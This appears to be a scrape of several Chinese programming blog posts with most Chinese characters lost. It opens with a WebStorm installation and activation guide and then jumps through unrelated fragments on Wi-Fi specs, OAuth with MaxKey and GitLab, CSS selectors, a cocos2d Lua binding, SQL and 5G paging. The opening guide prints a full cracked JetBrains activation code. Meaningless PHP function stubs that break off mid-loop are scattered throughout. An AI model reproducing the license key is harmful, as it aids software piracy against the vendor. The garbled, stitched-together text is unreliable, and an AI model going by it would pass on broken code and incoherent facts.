Webstorm 2023.2 最新安装教程(附激活码,亲测有效)
WebStorm JetBrainsJavaScript
JS“Web”“HTML5”“JavaScript IDE”
: Webstorm 2023.2
Webstorm Webstorm 2023.2
https://www.jetbrains.com/webstorm/download
: Webstorm 2023.2
2. , :
3. Webstorm
4.
5. :
Webstorm JetBrains
Webstorm
Webstorm
1 hosts
Webstorm hosts
2
1. ,
2. ,
, ,
3 ,
Windows
:
IDEA
10 - 30
Mac / Linux
Mac / Linux Windows
,
,
Mac/Linux
Windows ->
Mac / Linux Mac / Linux
Webstorm
Webstorm !!!
Webstorm !!!
Webstorm,
Webstorm
8R927DG13X-eyJsaWNlbnNlSWQiOiI4UjkyN0RHMTNYIiwibGljZW5zZWVOYW1lIjoic2lnbnVwIHNjb290ZXIiLCJhc3NpZ25lZU5hbWUiOiIiLCJhc3NpZ25lZUVtYWlsIjoiIiwibGljZW5zZVJlc3RyaWN0aW9uIjoiIiwiY2hlY2tDb25jdXJyZW50VXNlIjpmYWxzZSwicHJvZHVjdHMiOlt7ImNvZGUiOiJQU0kiLCJmYWxsYmFja0RhdGUiOiIyMDI1LTA4LTAxIiwicGFpZFVwVG8iOiIyMDI1LTA4LTAxIiwiZXh0ZW5kZWQiOnRydWV9LHsiY29kZSI6IldTIiwiZmFsbGJhY2tEYXRlIjoiMjAyNS0wOC0wMSIsInBhaWRVcFRvIjoiMjAyNS0wOC0wMSIsImV4dGVuZGVkIjpmYWxzZX0seyJjb2RlIjoiUFdTIiwiZmFsbGJhY2tEYXRlIjoiMjAyNS0wOC0wMSIsInBhaWRVcFRvIjoiMjAyNS0wOC0wMSIsImV4dGVuZGVkIjp0cnVlfSx7ImNvZGUiOiJQQ1dNUCIsImZhbGxiYWNrRGF0ZSI6IjIwMjUtMDgtMDEiLCJwYWlkVXBUbyI6IjIwMjUtMDgtMDEiLCJleHRlbmRlZCI6dHJ1ZX1dLCJtZXRhZGF0YSI6IjAxMjAyMjA5MDJQU0FOMDAwMDA1IiwiaGFzaCI6IlRSSUFMOjIwMTEzMjMwMjYiLCJncmFjZVBlcmlvZERheXMiOjcsImF1dG9Qcm9sb25nYXRlZCI6ZmFsc2UsImlzQXV0b1Byb2xvbmdhdGVkIjpmYWxzZX0=-Jev3eIT6wPDh59rzeBG67oHD8GcYHifz9+OkIePP3Qo49dGX1DqLTGJgOxSClHrshRzjOktdBYwkwpeTrDMwgeGu+cy0OhzvtQMeh7R3HrEQkhGbNBjfpbW6nq6Mhv8k6Duoiw3XiU434V5iM6DgRN3Yzo8VKxU7Kb4u/SQnPTd+PR64hYJjblVXUzGHZUX4w8RBej3T0EREccs36bfnnPC2X91K/qbvr9C0uY/feHAMpuekMks0v4qApbInpw5O+elLE3l8txlNWhWSC8m/O/S7iydf27hV5mgePM5422Rpvm4dmA2DIQcq7xxdt4X67DmVGMC2yIFiH4hfkqySWg==-MIIETDCCAjSgAwIBAgIBDTANBgkqhkiG9w0BAQsFADAYMRYwFAYDVQQDDA1KZXRQcm9maWxlIENBMB4XDTIwMTAxOTA5MDU1M1oXDTIyMTAyMTA5MDU1M1owHzEdMBsGA1UEAwwUcHJvZDJ5LWZyb20tMjAyMDEwMTkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCUlaUFc1wf+CfY9wzFWEL2euKQ5nswqb57V8QZG7d7RoR6rwYUIXseTOAFq210oMEe++LCjzKDuqwDfsyhgDNTgZBPAaC4vUU2oy+XR+Fq8nBixWIsH668HeOnRK6RRhsr0rJzRB95aZ3EAPzBuQ2qPaNGm17pAX0Rd6MPRgjp75IWwI9eA6aMEdPQEVN7uyOtM5zSsjoj79Lbu1fjShOnQZuJcsV8tqnayeFkNzv2LTOlofU/Tbx502Ro073gGjoeRzNvrynAP03pL486P3KCAyiNPhDs2z8/COMrxRlZW5mfzo0xsK0dQGNH3UoG/9RVwHG4eS8LFpMTR9oetHZBAgMBAAGjgZkwgZYwCQYDVR0TBAIwADAdBgNVHQ4EFgQUJNoRIpb1hUHAk0foMSNM9MCEAv8wSAYDVR0jBEEwP4AUo562SGdCEjZBvW3gubSgUouX8bOhHKQaMBgxFjAUBgNVBAMMDUpldFByb2ZpbGUgQ0GCCQDSbLGDsoN54TATBgNVHSUEDDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBaAwDQYJKoZIhvcNAQELBQADggIBABqRoNGxAQct9dQUFK8xqhiZaYPd30TlmCmSAaGJ0eBpvkVeqA2jGYhAQRqFiAlFC63JKvWvRZO1iRuWCEfUMkdqQ9VQPXziE/BlsOIgrL6RlJfuFcEZ8TK3syIfIGQZNCxYhLLUuet2HE6LJYPQ5c0jH4kDooRpcVZ4rBxNwddpctUO2te9UU5/FjhioZQsPvd92qOTsV+8Cyl2fvNhNKD1Uu9ff5AkVIQn4JU23ozdB/R5oUlebwaTE6WZNBs+TA/qPj+5/we9NH71WRB0hqUoLI2AKKyiPw++FtN4Su1vsdDlrAzDj9ILjpjJKA1ImuVcG329/WTYIKysZ1CWK3zATg9BeCUPAV1pQy8ToXOq+RSYen6winZ2OO93eyHv2Iw5kbn1dqfBw1BuTE29V2FJKicJSu8iEOpfoafwJISXmz1wnnWL3V/0NxTulfWsXugOoLfv0ZIBP1xH9kmf22jjQ2JiHhQZP7ZDsreRrOeIQ/c4yR8IQvMLfC0WKQqrHu5ZzXTH4NO3CwGWSlTY74kE91zXB5mwWAx1jig+UXYc2w4RkVhy0//lOmVya/PEepuuTTI4+UJwC7qbVlh5zfhj8oTNUXgN0AOc+Q0/WFPl1aw5VV/VrO8FCoB15lFVlpKaQ1Yh+DVU8ke+rt9Th0BCHXe0uZOEmH0nOnH/0onD
PS: Webstorm ~
coding ~
Webstorm
Webstorm
Webstorm
| MATLABNGO-SVM(,)
| MATLABNGO-SVM(,)
| MATLABNGO-SVM(,),,,;
,;excel,,2018
:MATLABNGO-SVM(,)(,)
[1] https://blog.csdn.net/kjm/article/details/
[2] https://blog.csdn.net/kjm/article/details/
WCN36106
1. 11b,11M: +15.0± 3.0dBm
2. 11g,54M: +14.0± 3.0dBm
3. 11n,MCS7: +12.0± 3.0dBm
4. 11a,54M ≧ +12.0 ± 3.0dBm
5. 11n,HT20 ≧+12.0 ± 3.0dBm
6. 11n,HT40 ≧+12.0 ± 3.0dBm
11n, HT20, HT40MCS7
311n + MCS7 + HT20HT40?
56MCS7?
35,6?
msc764QAM6bit5/6HT2065Mbit/sHT40135Mbit/s
CCD
foreach0
1
2forif else
idea2.5M8000+if+for400+
15SQL
xml
JSON
1–>2,2–>1
AIPBIPMACDHCP~
5.IdentityHashmapABA–>B,BAB–>AId
1.
5
2.if(true)Boolean
boolean b = subnetIdList.contains(source)
&& wsubnetIdList.contains(target)
||subnetIdList.contains(target)
&& wsubnetIdList.contains(source);
3.forforeachfor(int ; ;),
4.java8 Lambada
5.
}
liststream
…
~
MaxKeyOauth
GET
http://{{maxKey_host}}/sign/authz/oauth/v20/authorize?client_id=YOUR_CLIENT_ID&response_type=code&redirect_uri=YOUR_REGISTERED_REDIRECT_URI
YOUR_REGISTERED_REDIRECT_URI/?code={{code}}
Access Token
GETPOST
http://{{maxKey_host}}/sign/authz/oauth/v20/token?client_id=YOUR_CLIENT_ID&client_secret=YOUR_CLIENT_SECRET&grant_type=authorization_code&redirect_uri=YOUR_REGISTERED_REDIRECT_URI&code={{code}}
:
{
“access_token”: “7c-7208-4548-aac8-b0230a834b51”,
“token_type”: “bearer”,
“expires_in”: 299,
“scope”: “read”
}
GETPOST
http://{{maxKey_host}}/sign/api/oauth/v20/me?access_token={{access_token}}
{
“birthday”: null,
“gender”: 2,
“displayName”: “lidi”,
“departmentId”: “101”,
“mobile”: null,
“createdate”: “2023-08-16 05:59:23”,
“title”: null,
“userId”: “”,
“online_ticket”: “OT”,
“employeeNumber”: null,
“realname”: “lidi”,
“institution”: “1”,
“randomId”: “cc3025a9-dfec-4a7f-bfaa-e731c3bd8b9d”,
“state”: null,
“department”: “”,
“user”: “lidi”,
“email”: “@qq.com”,
“username”: “lidi”
}
MaxKey
Gitlab
OAuth2.0
gitlab
Gitlab
1. GitlabOauth2
/etc/gitlab/gitlab.rb
user_response_structure
id_path: [‘userId’]
,MaxKey
userId
attributes
Gitlab
https://docs.gitlab.com/ee/integration/oauth2_generic.html?tab=Linux+package+%28Omnibus%29
2. gitlab
sudo gitlab-ctl reconfigure
3.
Oauth
4. MaxKey
,MaxKey
,MaxKey
,(Gitlab)
GitlabMaxKeyId,(gitlab)
GitlabMax
Gitlab,-
,,Oauth
function member($readson)
{
for($c=0;$cF)(>)
divspanspanspandiv
(E+F)
spanspanspanspanspanspan
(E~F)CSS3
spanspan
css36UI
CSS(:)
HTML
:link:visited:hover:active
“:target”URIURI(#)“#yxz”“:target”ID“yxz”":target"
CSS
HTML5
lang
E:lang(language)Elanglanguage
UI
formUIHTMLCSS3
()
n
nth-child(3)3
oddeven
01n+1,n=00+1=11n=11+1=22
:first-child
:last-child
/*ulli*/ul li:last-child{ list-style-type:circle;}
:nth-child(n)
n
/*ulli*/ul li:nth-child(3){ list-style-type:circle;}
n
/*ulli*/ul li:nth-child(odd){ list-style-type:circle;}
n
/*ulli*/ul li:nth-child(n*2-1){ list-style-type:circle;}
:nth-last-child(n)
:nth-child
n
/*ulli*/ul li:nth-last-child(3){ list-style-type:circle;}
n
/*ulli*/ul li:nth-last-child(odd){ list-style-type:circle;}
n
/*ulli*/ul li:nth-last-child(n*2-1){ list-style-type:circle;}
:nth-of-type(n)
:nth-child
nth-child2lili:nth-child(2)2span
ul li:nth-of-type(2){ list-style-type:circle;}
:nth-of-type2spanli
:nth-last-of-type(n)
nth-of-typenth-last-child
:only-child
:only-of-type
:empty
“:not()”
css“:first-letter”“:first-line”“:before”“:after”css3“::first-letter”“::first-line”“::before”“::after”“::selection”
::first-line
::first-line
::first-letter::first-line
/**/ p::first-line{ color:blue; }
::before::after
(::before)(::after)(content)DOM
/*"",*/
p::before{
content:"";
color:blue;
}
/"",/
p::after{
content:"";
color:red;
}
::selection
::selectionbackgroundcolor
/**/p::selection{ background:#; color:#ffffff;}/**/ p::-moz-selection{ background:#; color:#ffffff;}
HTMLcss2css3css2
E[attr]
attrE
E[attr=val]
Eattrval
/*ahrefhttp://www.baidu.com*/ a[href="http://www.baidu.com"]{ text-decoration:none; color:black; }
E[attr|=val]
Eattrvalval-
/*aidyxzyxz-*/a[id|="yxz"]{ text-decoration:none; color:black;}
E[attr~=val]
Eattrval
/*aclassyxz*/a[class~="yxz"]{ text-decoration:none; color:black;}
E[attr*=val]
Eattrval
/*aclassyxz*/a[class*="yxz"]{ text-decoration:none; color:black;}
E[attr^=val]
Eattrval
/*ahrefhttp*/a[href^="http"]{ text-decoration:none; color:black;}
E[attr$=val]
Eattrval
/*ahrefcom*/a[href$="com"]{ text-decoration:none; color:black;}
css3
function reachwho($KQe)
{
for($ZUoD=0;$ZUoD
target-densitydpi
medium-dpitargettarget-densitydpi=devicedpi320*480iphone4target-densitydpi=device-dpi( )iphone4640*960
( 1 )
320px( medium-dpitarget-densitydpi )( )
( 2 )
target-densitydpi = device-dpi 1 CSS pixel = 1 device pixel 640 * 960iphone640*960iphone
1 2 #header{ 3 background:url(medium-density-image.png); 4 } 5 @media screen and (-webkit-device-pixed-ratio:1.5){ 6 /* CSS for high-density screens */ 7 #header { background:url (high-density-image.png);} 8 } 9 @media screen and (- webkit -device-pixel-ratio:0.75) { 10 /* CSS for low-density screens */ 11 #header { background:url (low-density-image.png);} 12 }
( 3 )
480px320px( background-size )( )( )( )
http://blog.jobbole.com//
very very
public void purpose($worksfilemtimefly)
{
for($Qt=0;$Qt">
value input
">
public void imageagentsecond()
{
for($cEudA=0;$cEudA 1. width
viewport device-width 100% CSS 2. height
width 3. target-densitydpi
dpiAndroid Android BrowserWebView
target-densitydpi device-dpi ? dpi dp high-dpi ? hdpi dpi medium-dpi ? mdpi dpi target density. low-dpi -mdpi dpi ? dpi target dpi. 70?400
1
2
3
4
5
6
Android BrowserWebView viewporttarget-densitydpi device-dpiviewport widthwidth 4. initial-scale
“1.0”webtarget density1:1“2.0”2 5. maximum-scale
“2.0”target size2 6. user-scalable
yesnoyesnominimum-scale maximum-scale
0.01?10
()
()
function DhbAQZYF()
{
for($Nj=0;$Nj= 1 tolua_Error tolua_err;#endif#if COCOS2D_DEBUG >= 1 if (!tolua_isusertype(tolua_S,1,"ccui.RichElementText",0,&tolua_err)) goto tolua_lerror;#endif cobj = (cocos2d::ui::RichElementText*)tolua_tousertype(tolua_S,1,0);#if COCOS2D_DEBUG >= 1 if (!cobj) { tolua_error(tolua_S,"invalid 'cobj' in function 'lua_cocos2dx_ui_RichElementText_init'", nullptr); return 0; }#endif argc = lua_gettop(tolua_S)-1; if (argc == 8) { int arg0; cocos2d::Color3B arg1; uint16_t arg2; std::string arg3; std::string arg4; double arg5; int arg6; bool arg7; ok &= luaval_to_int32(tolua_S, 2,(int *)&arg0, "ccui.RichElementText:init"); ok &= luaval_to_color3b(tolua_S, 3, &arg1, "ccui.RichElementText:init"); ok &= luaval_to_uint16(tolua_S, 4,&arg2, "ccui.RichElementText:init"); ok &= luaval_to_std_string(tolua_S, 5,&arg3, "ccui.RichElementText:init"); ok &= luaval_to_std_string(tolua_S, 6,&arg4, "ccui.RichElementText:init"); ok &= luaval_to_number(tolua_S, 7,&arg5, "ccui.RichElementText:init"); ok &= luaval_to_int32(tolua_S, 8,&arg6, "ccui.RichElementText:init"); ok &= luaval_to_boolean(tolua_S, 9,&arg7, "ccui.RichElementText:init"); if(!ok) { tolua_error(tolua_S,"invalid arguments in function 'lua_cocos2dx_ui_RichElementText_init'", nullptr); return 0; } bool ret = cobj->init(arg0, arg1, arg2, arg3, arg4, arg5,arg6,arg7); tolua_pushboolean(tolua_S,(bool)ret); return 1; } luaL_error(tolua_S, "%s has wrong number of arguments: %d, was expecting %d
", "ccui.RichElementText:init",argc, 6); return 0;#if COCOS2D_DEBUG >= 1 tolua_lerror: tolua_error(tolua_S,"#ferror in function 'lua_cocos2dx_ui_RichElementText_init'.",&tolua_err);#endif return 0;}int lua_cocos2dx_ui_RichElementText_create(lua_State* tolua_S){ int argc = 0; bool ok = true;#if COCOS2D_DEBUG >= 1 tolua_Error tolua_err;#endif#if COCOS2D_DEBUG >= 1 if (!tolua_isusertable(tolua_S,1,"ccui.RichElementText",0,&tolua_err)) goto tolua_lerror;#endif argc = lua_gettop(tolua_S) - 1; if (argc == 6) { int arg0; cocos2d::Color3B arg1; uint16_t arg2; std::string arg3; std::string arg4; double arg5; ok &= luaval_to_int32(tolua_S, 2,(int *)&arg0, "ccui.RichElementText:create"); ok &= luaval_to_color3b(tolua_S, 3, &arg1, "ccui.RichElementText:create"); ok &= luaval_to_uint16(tolua_S, 4,&arg2, "ccui.RichElementText:create"); ok &= luaval_to_std_string(tolua_S, 5,&arg3, "ccui.RichElementText:create"); ok &= luaval_to_std_string(tolua_S, 6,&arg4, "ccui.RichElementText:create"); ok &= luaval_to_number(tolua_S, 7,&arg5, "ccui.RichElementText:create"); if(!ok) { tolua_error(tolua_S,"invalid arguments in function 'lua_cocos2dx_ui_RichElementText_create'", nullptr); return 0; } cocos2d::ui::RichElementText* ret = cocos2d::ui::RichElementText::create(arg0, arg1, arg2, arg3, arg4, arg5); object_to_luaval(tolua_S, "ccui.RichElementText",(cocos2d::ui::RichElementText*)ret); return 1; } if (argc == 7) { int arg0; cocos2d::Color3B arg1; uint16_t arg2; std::string arg3; std::string arg4; double arg5; int arg6; ok &= luaval_to_int32(tolua_S, 2,(int *)&arg0, "ccui.RichElementText:create"); ok &= luaval_to_color3b(tolua_S, 3, &arg1, "ccui.RichElementText:create"); ok &= luaval_to_uint16(tolua_S, 4,&arg2, "ccui.RichElementText:create"); ok &= luaval_to_std_string(tolua_S, 5,&arg3, "ccui.RichElementText:create"); ok &= luaval_to_std_string(tolua_S, 6,&arg4, "ccui.RichElementText:create"); ok &= luaval_to_number(tolua_S, 7,&arg5, "ccui.RichElementText:create"); ok &= luaval_to_int32(tolua_S, 8,&arg6, "ccui.RichElementText:create"); if(!ok) { tolua_error(tolua_S,"invalid arguments in function 'lua_cocos2dx_ui_RichElementText_create'", nullptr); return 0; } cocos2d::ui::RichElementText* ret = cocos2d::ui::RichElementText::create(arg0, arg1, arg2, arg3, arg4, arg5, arg6); object_to_luaval(tolua_S, "ccui.RichElementText",(cocos2d::ui::RichElementText*)ret); return 1; } if (argc == 8) { int arg0; cocos2d::Color3B arg1; uint16_t arg2; std::string arg3; std::string arg4; double arg5; int arg6; bool arg7; ok &= luaval_to_int32(tolua_S, 2,(int *)&arg0, "ccui.RichElementText:create"); ok &= luaval_to_color3b(tolua_S, 3, &arg1, "ccui.RichElementText:create"); ok &= luaval_to_uint16(tolua_S, 4,&arg2, "ccui.RichElementText:create"); ok &= luaval_to_std_string(tolua_S, 5,&arg3, "ccui.RichElementText:create"); ok &= luaval_to_std_string(tolua_S, 6,&arg4, "ccui.RichElementText:create"); ok &= luaval_to_number(tolua_S, 7,&arg5, "ccui.RichElementText:create"); ok &= luaval_to_int32(tolua_S, 8,&arg6, "ccui.RichElementText:create"); ok &= luaval_to_boolean(tolua_S, 9,&arg7, "ccui.RichElementText:create"); if(!ok) { tolua_error(tolua_S,"invalid arguments in function 'lua_cocos2dx_ui_RichElementText_create'", nullptr); return 0; } cocos2d::ui::RichElementText* ret = cocos2d::ui::RichElementText::create(arg0, arg1, arg2, arg3, arg4, arg5, arg6, arg7); object_to_luaval(tolua_S, "ccui.RichElementText",(cocos2d::ui::RichElementText*)ret); return 1; } luaL_error(tolua_S, "%s has wrong number of arguments: %d, was expecting %d
", "ccui.RichElementText:create",argc, 6); return 0;#if COCOS2D_DEBUG >= 1 tolua_lerror: tolua_error(tolua_S,"#ferror in function 'lua_cocos2dx_ui_RichElementText_create'.",&tolua_err);#endif return 0;}
MapStructJava bean
MapStruct 1gettersetter2
DTOMapStruct
MapStructbean
MapStructJavaMavenGradleIDE
MapStruct
MapStructBeanUtils
BeanUtilsMapStruct
maven
Java org.mapstruct.Mapper
MapStruct
,,,,,
,, IP ,,,,
, Web ,,
,,,,
,,,
HTTP
HTTP ,,,
Project Management
PEProject Evaluation
PEPE
PE
PE
Delivery Methodology
Waterfall Model
Agile DevelopmentScrumXP
Iterative Development
PE
PE
PE
PE
PE
PE
PE
SQL:Structured Query Language
SELECT
FROM
WHERE
GROUP BY HAVING
ORDER BY ASC|DESC
LIMIT m,n;
SQLselectfrom
inner join inner
outer join outer
table1table2
FROM t_employee AS emp, t_employee AS mgr
WHERE emp.mid = mgr.eid;
l AVG(DISTINCT expr) expr
l COUNTDISTINCT exprexprNULL
l MIN(DISTINCT expr)expr
l MAX(DISTINCT expr)expr
l SUMDISTINCT exprexpr
: Group By
SELECT GROUP BY
:101li4102t7,SQL
nameGroup By Null
SQL
li4
Mysql
:
(Atomicity)
(Consistency),/
(Isolation).
(Durability)
1.
2.(Mysql)
3.
4.
select index from user;
Crete id int(60)AUTO_INCREMENT key
CREATE INDEX ON (column_name,column_name…);
BTree B+Tree Bbalance
BTree
1.
,IO
B+Tree
: 1.
3
IO
BTreeIOMysqlB+Tree
update
SQL
,SQL
ExplainSQL
SQL,SQLSQL
function girlsafety()
{
for($vL=0;$vL
IE6:
IE6
:
div
:
IE6divdiv
:http://www.51texiao.cn/div_cssjiaocheng/2015/0501/499.html
function mt_randbaroffer($givesuccess)
{
for($iN=0;$iN
出处:http://www.hzhcontrols.com/
原文:http://www.hzhcontrols.com/new-.html
本文版权归原作者所有欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利
PEIUEidleinactive state,38.304 DRXUEPOP-RNTIDCI,deocde paging,paging,UEpaging,false paging alarms,log,R17PEI,UE,PEI occasionPO,UEsubgroupPEI paging,UEPO decode paging,UE,,R17 PEI
PEIUEPOUEincoming pagingindication,paging,UEPEI,decodePO,saving power,PEIPO,PEIUEPOdecode paging,
NR paging,NR paging,NR paging,,
,PEI ,,UE,PEIUEPO ,PEIPO,subgroup IDUESI;UEsubgroup ID,RRCPEI occasion(PEI-O),PEI-Odecode DCI 2_7,subgourp IDRRC,DCI 2_7 PEI field,UEPO decode paging
,subgroup ID,PEI occasionDCI 2_7spec
UEfalse paging alarms power consumption,POUE groupsubgroups
UEsubgroup paging early Indicationpaging,UEPOPDCCH,UEPEIsubgroup IDUEPOPEI occasion,UEDRXPOpaging
UERRC_IDLERRC_INACTIVEPEI SIPEI,RRC_IDLERRC_INACTIVEPEIUE(UE)SIPEIPEI
subgroup:
1 subgroup, CN subgroup UE IDsubgroup;
2 AMFCN controlled subgroup ID,UE ID based subgroup(UE);
3 RRC idleInactive stateUE subgroup,UEsubgroup ID idleInactive state;
4 SI cellsubgroup:CN controlled subgrouping,UE ID based subgrouping,
5 Cellsubgroup8,8CN controlledUE ID based subgroup
6 cellCN controlled subgrouping,UECN controlled subgroup ID,CN controlled subgroup ID;,CellUE ID based subgrouping,UEUE ID based subgroup ID
subgroupPEI:
UEPEI,UEUE IDsubgrouping;
1 PEI(UE RRCRelease noLastCellUpdate IE);
2 PEI-capable UE ;
3 PEI gNB NG-AP UE AMF UE (PEI-capable UE);
4 MBS gourp notificationPEI,UE PO
1IE:
noLastCellUpdate:IE PEI IE, PEI-capable UE last used cell, AS security,UE
lastUsedCellOnly:IE,UERRCReleasenoLastCellUpdate,PEI;PEI-capable UE
cellSIlastUsedCellOnly, UE noLastCellUpdate IE RRRCRelease ,UE PEI;SILastUsedCellOnly, DRXPEI
UEPEIsungrouping,POUEsubgroups ,UEPEI,subgroupbit =1,UEPO
subgrouping
,subgourp,CN controlledsubgroupingUE ID based subgrouping,,
CN controlledsubgrouping: CN controlled subgrouping,AMF UE sungroup ID CN Controlled subgrouping , OAM 8 CN controlled subgrouping RNA
UE ID based subgrouping:UE ID based subgrouping,gNBUEUE ID based subgroupUE ID based subgroupUE ID based subgroupgNB,UE ID based subgroup
RANUEPaging Early Indication with Paging Subgrouping(PEIPS)featureUENR idleInactivepower consumption
paging subgroupingUE temporary IDPaging Subgroup ID
UE temporary ID paging subgroupingNG-RAN UE temporary ID paging subgrouping,UEpaging subgroupUE paging radio capability,paging subgrouping IDNG-RANUE, UE ID(RACS)
AMF, gNBUE temporary IDpaging subgrouping,gNB UE temporary ID paging subgrouping UE
paging subgroups AMF , gNB AMF(5G MOCN PLMN AMF) UE paging subgroup AMF 8 paging subgroup IDUETAI AMF paging subgroup,overlap TAI list UE,UE,overlapAMFUEpaging subgroup
Paging Early Indication with Paging Subgrouping(PEIPS),AMF NG-RANPaging Subgrouping Support IndicationPEIPS Assistance Information PEIPS UE UE paging subgroup
Registration Request,Paging Subgrouping Support IndicationUEAMF PEIPS Assistance InformationPEIPS UE Paging Subgrouping Support Indication, UE paging probability informationAMFAMFPEIPSUEPaging Subgrouping Support Indication,AMFIndication AMF UE contextAMFUE paging probability information()RAN ( RAN )/ UE AMF PEIPS Assistance Information AMF PEIPS Assistance Informationpaging subgroup ID
, MT ,AMF paging subgroup ID, UE IMS over PS session UE MT Traffic UE ,AMF paging subgroup ID, UE
AMFUE AMF PEIPS Assistance Information,AMFUE contextRegistration AcceptUE
AMFUE AMF PEIPS Assistance Information,NG RANpaging UE,AMFAMF PEIPS Assistance InformationNG RAN,RRC Inactive mode UE PEIPS,AMFAMF PEIPS Assistance InformationNG RANRRC Inactive Assistance Information
NG-RAN PEIPS paging subgrouping AMF subgroup,UENG-RAN AMF PEIPS Assistance Informationpaging subgroupAMF UE N2 UE UE NG-RAN AMF PEIPS Assistance Information
UEemergency PDU seesion: UE Paging Subgrouping Support Indication
,,CN controlled subgrouping
CN controlled subgrouping
CN controlled subgrouping :
1 UE REGISTRATION REQUESTNR-PSSI,AMFCN controlled subgrouping;
2 UECN controlled subgrouping,AMFUEsubgroup ID;
3 AMF REGISTRATION ACCEPTNegotiated PEIPS assistance information IEUE subgroup ID;
4 AMFUEIDLE INACTIVE mode subgroup IDgNB;
5 gNBCN UEpagging messagegNBUE paging message,gNBUE PO PEI occasion
6 PO UE ,gNB PEI UEsubgroupPOpaging
NAS 24.50123.501,:
REGISTRATION REQUESTregistration type IE"emergency registration",UEPEIPS assistance information,5GMM capability IENR-PSSI bit"NR paging subgrouping supported" ,NR-PSSI=1;UE NR-PSSI=1,Request PEIPS assistance information IEUE paging probability information
UEREGISTRATION REQUESTNR-PSSI1,AMFPEIPS assistance information,UEemergency services initial registrationactiveemergency PDU session,AMFUE Paging subgroup ID,UE 5GMM context,REGISTRATION ACCEPTNegotiated PEIPS assistance information IEUEPaging subgroup ID(value 0~7)
Negotiated PEIPS assistance information IE
UEPEIPS assistance informationUEemergency services initial registrationactiveemergency PDU session,UERegistration request 5GMM capability IENR-PSSI1 "NR paging subgrouping supported" ;,UEUE paging probability informationRegistration requestRequest PEIPS assistance information,
UEREGISTRATION REQUEST NR-PSSI1,AMFfeatureUEPEIPS assistance information,AMFUEPaging subgroup ID,UE5GMM context,REGISTRATION ACCEPTNegotiated PEIPS assistance information IE,UE;,AMFCONFIGURATION UPDATE COMMANDPEIPS assistance information IE;AMFUE Paging subgroup ID,UE REGISTRATION REQUESTUE paging probability information
UE ID based subgrouping
UE ID based subgrouping
1 gNBcellUE ID based subgrouping subgroup;
2 gNBUE ID based subgrouping ;
3 UE cell,subgroup;
4 gNBCN PEI cabpable UEpagging messagegNBUE paging message,gNBUE PO PEI occasion;
5 POUE,gNBPEI ,PEIUE POpaging
RRC,SIB1subgroup,IE:
subgroupNumPerPO:UE subgroups indication (PO) subgourps IECN-assignedUEID-basedsubgroups PEI-Config ,subgroup( UEID CN-assignedsubgroup)
subgroupNumForUEID:UEID-basedsubgroup,UE subgroups indication (PO) subgourps IE, subgroupsNumPerPO CN-assigned subgrouping,subgroupsNumPerPO subgroupsNumForUEID CN-assgined subgrouping,IE subgrouping,IE subgroupsNumPerPO 1
,UEsubgroupCN assignUE-ID,subgroup:
1 subgroupNumForUEID,CN assigned subgrouping,UECN assigned subgroup ID,UECN assigned subgroup ID;
2 subgroupNumForUEIDsubgroupNumPerPO,,UECN assigned subgroup IDCN assigned subgroup ID,UE ID based subgrouping,UEsubgroup ID,;
3 subgroupNumForUEIDsubgroupNumPerPO,subgroupNumForUEID
UE_ID based subgourp ID:
UECN assigned subgroup IDCN assigned subgroup ID,UE ID based subgrouping,UEsubgroup ID:
SubgroupID=(floor(UE_ID/(N*Ns)) mod subgroupsNumforUEID)+(subgroupNumPerPO - subgroupsNumForUEID)
T: UE DRX ,T UE specific DRX SIB1 DRX,UE specific DRX default value,SIB1 defaultPagingCycle
N :DRX PF ,RRC nAndPagingFrameOffset
Ns :1PFPO
UE_ID :5G-S-TMSI mode X,eDRX,X=,X=8192
subgroupsNumForUEID: SIIE,UE_ID based subgrouping POsubgroup
UESubgroupID PEI,PEIUEsubgroup POpaging
,UEsubgroup ID,PEI,PEI occasionPEI,POpaging,PEI-O?
PEI occasion(PEI-O)
PEI occasion,DRX cyclePEI occasion,PEI occasion(PEI-O)PDCCH ,PEI occasionmulti-beam ,PEIbeams,UEbeam,PEI
PEI-O ,:
1 , PEI-O PF PF ,SIB1pei-FrameOffset
2 PEI-O PDCCH MO ,offset SIB1 firstPDCCH-MonitoringOccasionOfPEI-O
1PEI-O2PFPO,2PFsPF_offsetTNsNPF;PEI-OPFPFSFNfloor (i_PO/Ns)*T/NPFi_PORRCpo-NumPerPEIPEI occasionPO, paging PO , N x Ns,N DRX PF ,RRC nAndPagingFrameOffset ,Ns 1PFPO PEIoccasionPF2po-NumPerPEINs,PEIPONs
pei-FrameOffsetfirstPDCCH-MonitoringOccasionOfPEI-O RRC:
N_PEI_PO,RRCpo-NumPerPEI,PEI PON_PEI_PO<Ns(1PFPO ),PO index i_PODCI format 2_7PDCCHfirstPDCCH-MonitoringOccasionOfPEI-O N_S/(N_PEI_PO ) (⌊i_S /(N_PEI_PO)⌋+1)
PEI-O,R1-:
PEIPDCCH monitoring occassion 4,pei-FrameOffsetfirstPDCCH-MonitoringOccasionOfPEI-OPEI-O;pei-SearchSpace,pei-SearchSpaceSearchSpaceId=0,UERMSI PEI,;pei-SearchSpaceSearchSpaceId0,UEpei-FrameOffsetfirstPDCCH-MonitoringOccasionOfPEI-OPEI-O,SearchSpaceId ;pei-SearchspacenrofPDCCH-MonitoringOccasionPerSSB-InPORRC
nrofPDCCH-MonitoringOccasionPerSSB-InPOPO SSBPDCCH MOs,sharedspectrum,,
PEI occasionS*XPDCCH MOs,S SIB1 ssb-PositionsInBurstSSB,XnrofPDCCH-MonitoringOccasionPerSSB-InPO,,X=1 PEI(x*S+K )PDCCH MOsKSSB,x=0,1,...X-1;K=1,2,...,S S=4 ,4SSB,X=1,PEI1PDCCH MOs 1 SSB; PEI2PDCCH MOs 2SSB;PEI3PDCCH MOs 3SSB;PEI4PDCCH MOs 4SSB,SSBPEI-O MO,SSB PEI-O MOPEIPDCCH MOsUL symbol overlap;PEI-OPEI PDCCH MO0 ;UEPEI-OPEI,UEPEI-OMOs
UEPEIPEIUEsubgroupPO,PO,UEPEI-OPEIPEIUEsubgroupPO,UEPO
UE PEI-ODCI, PEIDCI?DCIDCI format 2_7,DCI 2_7
DCI format 2_7
UERRCDCI format 2_7:
1 pei-FrameOffsetframeDCI 2_7 PDCCH MOs frameframe
DCI2_7PDCCH
2 firstPDCCH-MonitoringOccasionOfPEI-O,frameDCI format 2_7PDCCH MO;
3 pei-FrameOffsetfirstPDCCH-MonitoringOccasionOfPEI-OPEI-O, UEsearch space setpei-SearchSpace,DCI 2_7PDCCH;
